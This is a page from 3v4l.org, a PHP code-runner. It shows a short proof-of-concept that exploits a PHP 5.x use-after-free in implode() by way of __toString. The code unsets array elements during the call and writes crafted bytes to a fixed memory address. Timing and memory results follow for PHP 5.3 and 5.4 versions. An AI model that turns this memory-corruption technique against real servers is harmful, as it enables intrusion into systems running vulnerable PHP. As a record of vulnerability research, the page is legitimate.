3v4l.org

run code in 300+ PHP versions simultaneously
<?php // july 31, memory leak found by n0b0dy; ret2php, AB h4x class volatile { public function __toString() { unset($GLOBALS['arr1'][0]); unset($GLOBALS['arr1'][1]); //memory 0x08048000 $GLOBALS['test1'] .= "\x00\x80\x04\x08\xff\xff\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; return ''; } } $test1=''; $arr1 = array(new volatile, 1); $data = implode(",", &$arr1); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.170.0190.03912.38
5.4.160.0190.05412.38
5.4.150.0150.04312.37
5.4.140.0180.03912.05
5.4.130.0170.04212.04
5.4.120.0160.04112.00
5.4.110.0130.04512.00
5.4.100.0200.05412.00
5.4.90.0200.06812.00
5.4.80.0170.04112.00
5.4.70.0130.04311.99
5.4.60.0120.04512.00
5.4.50.0150.04211.99
5.4.40.0140.04511.98
5.4.30.0150.04511.98
5.4.20.0140.04211.98
5.4.10.0210.05111.98
5.4.00.0150.04211.47
5.3.290.0050.03812.80
5.3.280.0090.03812.71
5.3.270.0220.05512.72
5.3.260.0190.04312.72
5.3.250.0210.04012.72
5.3.240.0320.07312.72
5.3.230.0180.04612.71
5.3.220.0160.04612.68
5.3.210.0180.04312.68
5.3.200.0160.04312.68
5.3.190.0140.04912.68
5.3.180.0150.04412.67
5.3.170.0180.05712.67
5.3.160.0190.05612.68
5.3.150.0150.04512.67
5.3.140.0160.04312.66
5.3.130.0210.04612.66
5.3.120.0160.04512.65
5.3.110.0140.04712.66
5.3.100.0190.04212.12
5.3.90.0210.05312.10
5.3.80.0160.04612.07
5.3.70.0180.04312.08
5.3.60.0200.04112.07
5.3.50.0150.04612.01
5.3.40.0200.05612.01
5.3.30.0180.04111.98
5.3.20.0150.04311.76
5.3.10.0170.03911.72
5.3.00.0200.03711.70

preferences:
140.08 ms | 1386 KiB | 7 Q